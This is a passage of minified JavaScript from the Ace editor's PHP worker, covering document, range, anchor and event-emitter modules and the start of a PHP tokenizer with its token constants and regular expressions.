r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){e instanceof o||(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),define(\"ace/mode/php/php\",[\"require\",\"exports\",\"module\"],function(e,t,n){var r={Constants:{}};r.Constants.T_INCLUDE=262,r.Constants.T_INCLUDE_ONCE=261,r.Constants.T_EVAL=260,r.Constants.T_REQUIRE=259,r.Constants.T_REQUIRE_ONCE=258,r.Constants.T_LOGICAL_OR=263,r.Constants.T_LOGICAL_XOR=264,r.Constants.T_LOGICAL_AND=265,r.Constants.T_PRINT=266,r.Constants.T_PLUS_EQUAL=277,r.Constants.T_MINUS_EQUAL=276,r.Constants.T_MUL_EQUAL=275,r.Constants.T_DIV_EQUAL=274,r.Constants.T_CONCAT_EQUAL=273,r.Constants.T_MOD_EQUAL=272,r.Constants.T_AND_EQUAL=271,r.Constants.T_OR_EQUAL=270,r.Constants.T_XOR_EQUAL=269,r.Constants.T_SL_EQUAL=268,r.Constants.T_SR_EQUAL=267,r.Constants.T_BOOLEAN_OR=278,r.Constants.T_BOOLEAN_AND=279,r.Constants.T_IS_EQUAL=283,r.Constants.T_IS_NOT_EQUAL=282,r.Constants.T_IS_IDENTICAL=281,r.Constants.T_IS_NOT_IDENTICAL=280,r.Constants.T_IS_SMALLER_OR_EQUAL=285,r.Constants.T_IS_GREATER_OR_EQUAL=284,r.Constants.T_SL=287,r.Constants.T_SR=286,r.Constants.T_INSTANCEOF=288,r.Constants.T_INC=297,r.Constants.T_DEC=296,r.Constants.T_INT_CAST=295,r.Constants.T_DOUBLE_CAST=294,r.Constants.T_STRING_CAST=293,r.Constants.T_ARRAY_CAST=292,r.Constants.T_OBJECT_CAST=291,r.Constants.T_BOOL_CAST=290,r.Constants.T_UNSET_CAST=289,r.Constants.T_NEW=299,r.Constants.T_CLONE=298,r.Constants.T_EXIT=300,r.Constants.T_IF=301,r.Constants.T_ELSEIF=302,r.Constants.T_ELSE=303,r.Constants.T_ENDIF=304,r.Constants.T_LNUMBER=305,r.Constants.T_DNUMBER=306,r.Constants.T_STRING=307,r.Constants.T_STRING_VARNAME=308,r.Constants.T_VARIABLE=309,r.Constants.T_NUM_STRING=310,r.Constants.T_INLINE_HTML=311,r.Constants.T_CHARACTER=312,r.Constants.T_BAD_CHARACTER=313,r.Constants.T_ENCAPSED_AND_WHITESPACE=314,r.Constants.T_CONSTANT_ENCAPSED_STRING=315,r.Constants.T_ECHO=316,r.Constants.T_DO=317,r.Constants.T_WHILE=318,r.Constants.T_ENDWHILE=319,r.Constants.T_FOR=320,r.Constants.T_ENDFOR=321,r.Constants.T_FOREACH=322,r.Constants.T_ENDFOREACH=323,r.Constants.T_DECLARE=324,r.Constants.T_ENDDECLARE=325,r.Constants.T_AS=326,r.Constants.T_SWITCH=327,r.Constants.T_ENDSWITCH=328,r.Constants.T_CASE=329,r.Constants.T_DEFAULT=330,r.Constants.T_BREAK=331,r.Constants.T_CONTINUE=332,r.Constants.T_GOTO=333,r.Constants.T_FUNCTION=334,r.Constants.T_CONST=335,r.Constants.T_RETURN=336,r.Constants.T_TRY=337,r.Constants.T_CATCH=338,r.Constants.T_THROW=339,r.Constants.T_USE=340,r.Constants.T_GLOBAL=341,r.Constants.T_STATIC=347,r.Constants.T_ABSTRACT=346,r.Constants.T_FINAL=345,r.Constants.T_PRIVATE=344,r.Constants.T_PROTECTED=343,r.Constants.T_PUBLIC=342,r.Constants.T_VAR=348,r.Constants.T_UNSET=349,r.Constants.T_ISSET=350,r.Constants.T_EMPTY=351,r.Constants.T_HALT_COMPILER=352,r.Constants.T_CLASS=353,r.Constants.T_TRAIT=382,r.Constants.T_INTERFACE=354,r.Constants.T_EXTENDS=355,r.Constants.T_IMPLEMENTS=356,r.Constants.T_OBJECT_OPERATOR=357,r.Constants.T_DOUBLE_ARROW=358,r.Constants.T_LIST=359,r.Constants.T_ARRAY=360,r.Constants.T_CLASS_C=361,r.Constants.T_TRAIT_C=381,r.Constants.T_METHOD_C=362,r.Constants.T_FUNC_C=363,r.Constants.T_LINE=364,r.Constants.T_FILE=365,r.Constants.T_COMMENT=366,r.Constants.T_DOC_COMMENT=367,r.Constants.T_OPEN_TAG=368,r.Constants.T_OPEN_TAG_WITH_ECHO=369,r.Constants.T_CLOSE_TAG=370,r.Constants.T_WHITESPACE=371,r.Constants.T_START_HEREDOC=372,r.Constants.T_END_HEREDOC=373,r.Constants.T_DOLLAR_OPEN_CURLY_BRACES=374,r.Constants.T_CURLY_OPEN=375,r.Constants.T_PAAMAYIM_NEKUDOTAYIM=376,r.Constants.T_DOUBLE_COLON=376,r.Constants.T_NAMESPACE=377,r.Constants.T_NS_C=378,r.Constants.T_DIR=379,r.Constants.T_NS_SEPARATOR=380,r.Lexer=function(e,t){var n,i=function(e){if(e.match(/\\n/)!==null){var t=e.substring(0,1);e=\"[\"+e.split(/\\n/).join(t+\",\"+t)+'].join(\"\\\\n\")'}return e},s,o=t===undefined||/^(on|true|1)$/i.test(t.short_open_tag)?/(\\<\\?php\\s|\\<\\?|\\<\\%|\\<script language\\=('|\")?php('|\")?\\>)/i:/(\\<\\?php\\s|<\\?=|\\<script language\\=('|\")?php('|\")?\\>)/i,u=t===undefined||/^(on|true|1)$/i.test(t.short_open_tag)?/^(\\<\\?php\\s|\\<\\?|\\<\\%|\\<script language\\=('|\")?php('|\")?\\>)/i:/^(\\<\\?php\\s|<\\?=|\\<script language\\=('|\")?php('|\")?\\>)/i,a=[{value:r.Constants.T_NAMESPACE,re:/^namespace(?=\\s)/i},{value:r.Constants.T_USE,re:/^use(?=\\s)/i},{value:r.Constants.T_ABSTRACT,re:/^abstract(?=\\s)/i},{value:r.Constants.T_IMPLEMENTS,re:/^implements(?=\\s)/i},{value:r.Constants.T_INTERFACE,re:/^interface(?=\\s)/i},{value:r.Constants.T_CONST,re:/^const(?=\\s)/i},{value:r.Constants.T_STATIC,re:/^static(?=\\s)/i},{value:r.Constants.T_FINAL,re:/^final(?=\\s)/i},{value:r.Constants.T_VAR,re:/^var(?=\\s)/i},{value:r.Constants.T_GLOBAL,re:/^global(?=\\s)/i},{value:r.Constants.T_CLONE,re:/^clone(?=\\s)/i},{value:r.Constants.T_THROW,re:/^throw(?=\\s)/i},{value:r.Constants.T_EXTENDS,re:/^extends(?=\\s)/i},{value:r.Constants.T_AND_EQUAL,re:/^&=/},{value:r.Constants.T_AS,re:/^as(?=\\s)/i},{value:r.Constants.T_ARRAY_CAST,re:/^\\(array\\)/i},{value:r.Constants.T_BOOL_CAST,re:/^\\((bool|boolean)\\)/i},{value:r.Constants.T_DOUBLE_CAST,re:/^\\((real|float|double)\\)/i},{value:r.Constants.T_INT_CAST,re:/^\\((int|integer)\\)/i},{value:r.Constants.T_OBJECT_CAST,re:/^\\(object\\)/i},{value:r.Constants.T_STRING_CAST,re:/^\\(string\\)/i},{value:r.Constants.T_UNSET_CAST,re:/^\\(unset\\)/i},{value:r.Constants.T_TRY,re:/^try(?=\\s*{)/i},{value:r.Constants.T_CATCH,re:/^catch(?=\\s*\\()/i},{value:r.Constants.T_INSTANCEOF,re:/^instanceof(?=\\s)/i},{value:r.Constants.T_LOGICAL_OR,re:/^or(?=\\s)/i},{value:r.Constants.T_LOGICAL_AND,re:/^and(?=\\s)/i},{value:r.Constants.T_LOGICAL_XOR,re:/^xor(?=\\s)/i},{value:r.Constants.T_BOOLEAN_AND,re:/^&&/},{value:r.Constants.T_BOOLEAN_OR,re:/^\\|\\|/},{value:r.Constants.T_CONTINUE,re:/^continue(?=\\s|;)/i},{value:r.Constants.T_BREAK,re:/^break(?=\\s|;)/i},{value:r.Constants.T_ENDDECLARE,re:/^enddeclare(?=\\s|;)/i},{value:r.Constants.T_ENDFOR,re:/^endfor(?=\\s|;)/i},{value:r.Constants.T_ENDFOREACH,re:/^endforeach(?=\\s|;)/i},{value:r.Constants.T_ENDIF,re:/^endif(?=\\s|;)/i},{value:r.Constants.T_ENDSWITCH,re:/^endswitch(?=\\s|;)/i},{value:r.Constants.T_ENDWHILE,re:/^endwhile(?=\\s|;)/i},{value:r.Constants.T_CASE,re:/^case(?=\\s)/i},{value:r.Constants.T_DEFAULT,re:/^default(?=\\s|:)/i},{value:r.Constants.T_SWITCH,re:/^switch(?=[ (])/i},{value:r.Constants.T_EXIT,re:/^(exit|die)(?=[ \\(;])/i},{value:r.Constants.T_CLOSE_TAG,re:/^(\\?\\>|\\%\\>|\\<\\/script\\>)\\s?\\s?/i,func:function(e){return c=!1,e}},{value:r.Constants.T_DOUBLE_ARROW,re:/^\\=\\>/},{value:r.Constants.T_DOUBLE_COLON,re:/^\\:\\:/},{value:r.Constants.T_METHOD_C,re:/^__METHOD__/},{value:r.Constants.T_LINE,re:/^__LINE__/},{value:r.Constants.T_FILE,re:/^__FILE__/},{value:r.Constants.T_FUNC_C,re:/^__FUNCTION__/},{value:r.Constants.T_NS_C,re:/^__NAMESPACE__/},{value:r.Constants.T_TRAIT_C,re:/^__TRAIT__/},{value:r.Constants.T_DIR,re:/^__DIR__/},{value:r.Constants.T_CLASS_C,re:/^__CLASS__/},{value:r.Constants.T_INC,re:/^\\+\\+/},{value:r.Constants.T_DEC,re:/^\\-\\-/},{value:r.Constants.T_CONCAT_EQUAL,re:/^\\.\\=/},{value:r.Constants.T_DIV_EQUAL,re:/^\\/\\=/},{value:r.Constants.T_XOR_EQUAL,re:/^\\^\\=/},{value:r.Constants.T_MUL_EQUAL,re:/^\\*\\=/},{value:r.Constants.T_MOD_EQUAL,re:/^\\%\\=/},{value:r.Constants.T_SL_EQUAL,re:/^<<=/},{value:r.Constants.T_START_HEREDOC,re:/^<<<[A-Z_0-9]+\\s/i,func:function(e){return n=e.substring(3,e.length-1),e}},{value:r.Constants.T_SL,re:/^<</},{value:r.Constants.T_IS_SMALLER_OR_EQUAL,re:/^<=/},{value:r.Constants.T_SR_EQUAL,re:/^>>=/},{value:r.Constants.T_SR,re:/^>>/},{value:r.Constants.T_IS_GREATER_OR_EQUAL,re:/^>=/},{value:r.Constants.T_OR_EQUAL,re:/^\\|\\=/},{value:r.Constants.T_PLUS_EQUAL,re:/^\\+\\=/},{value:r.Constants.T_MINUS_EQUAL,re:/^-\\=/},{value:r.Constants.T_OBJECT_OPERATOR,re:/^\\-\\>/i},{value:r.Constants.T_CLASS,re:/^class(?=[\\s\\{])/i,afterWhitespace:!0},{value:r.Constants.T_TRAIT,re:/^trait(?=[\\s]+[A-Za-z])/i},{value:r.Constants.T_PUBLIC,re:/^public(?=[\\s])/i},{value:r.Constants.T_PRIVATE,re:/^private(?=[\\s])/i},{value:r.Constants.T_PROTECTED,re:/^protected(?=[\\s])/i},{value:r.Constants.T_ARRAY,re:/^array(?=\\s*?\\()/i},{value:r.Constants.T_EMPTY,re:/^empty(?=[ \\(])/i},{value:r.Constants.T_ISSET,re:/^isset(?=[ \\(])/i},{value:r.Constants.T_UNSET,re:/^unset(?=[ \\(])/i},{value:r.Constants.T_RETURN,re:/^return(?=[ \"'(;])/i},{value:r.Constants.T_FUNCTION,re:/^function(?=[ \"'(;])/i},{value:r.Constants.T_ECHO,re:/^echo(?=[ \"'(;])/i},{value:r.Constants.T_LIST,re:/^list(?=\\s*?\\()/i},{value:r.Constants.T_PRINT,re:/^print(?=[ \"'(;])/i},{value:r.Constants.T_INCLUDE,re:/^include(?=[ \"'(;])/i},{value:r.Constants.T_INCLUDE_ONCE,re:/^include_once(?=[ \"'(;])/i},{value:r.Constants.T_REQUIRE,re:/^require(?=[ \"'(;])/i},{value:r.Constants.T_REQUIRE_ONCE,re:/^require_once(?=[ \"'(;])/i},{value:r.Constants.T_NEW,re:/^new(?=[ ])/i},{value:r.Constants.T_COMMENT,re:/^\\/\\*([\\S\\s]*?)(?:\\*\\/|$)/},{value:r.Constants.T_COMMENT,re:/^\\/\\/.*(\\s)?/},{value:r.Constants.T_COMMENT,re:/^\\#.*(\\s)?/},{value:r.Constants.T_ELSEIF,re:/^elseif(?=[\\s(])/i},{value:r.Constants.T_GOTO,re:/^goto(?=[\\s(])/i},{value:r.Constants.T_ELSE,re:/^else(?=[\\s{:])/i},{value:r.Constants.T_IF,re:/^if(?=[\\s(])/i},{value:r.Constants.T_DO,re:/^do(?=[ {])/i},{value:r.Constants.T_WHILE,re:/^while(?=[ (])/i},{value:r.Constants.T_FOREACH,re:/^foreach(?=[ (])/i},{value:r.Constants.T_ISSET,re:/^isset(?=[ (])/i},{value:r.Constants.T_IS_IDENTICAL,re:/^===/},{value:r.Constants.T_IS_EQUAL,re:/^==/},{value:r.Constants.T_IS_NOT_IDENTICAL,re:/^\\!==/},{value:r.Constants.T_IS_NOT_EQUAL,re:/^(\\!=|\\<\\>)/},{value:r.Constants.T_FOR,re:/^for(?=[ (])/i},{value:r.Constants.T_DNUMBER,re:/^[0-9]*\\.[0-9]+([eE][-]?[0-9]*)?/},{value:r.Constants.T_LNUMBER,re:/^(0x[0-9A-F]+|[0-9]+)/i},{value:r.Constants.T_OPEN_TAG_WITH_ECHO,re:/^(\\<\\?=|\\<\\%=)/i},{value:r.Constants.T_OPEN_TAG,re:u},{value:r.Constants.T_VARIABLE,re:/^\\$[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*/},{value:r.Constants.T_WHITESPACE,re:/^\\s+/},{value:r.Constants.T_CONSTANT_ENCAPSED_STRING,re:/^(\"(?:[^\"\\\\]|\\\\[\\s\\S])*\"|'(?:[^'\\\\]|\\\\[\\s\\S])*')/,func:function(e,t){var n=0,i,s=0;if(e.substring(0,1)===\"'\")return e;var 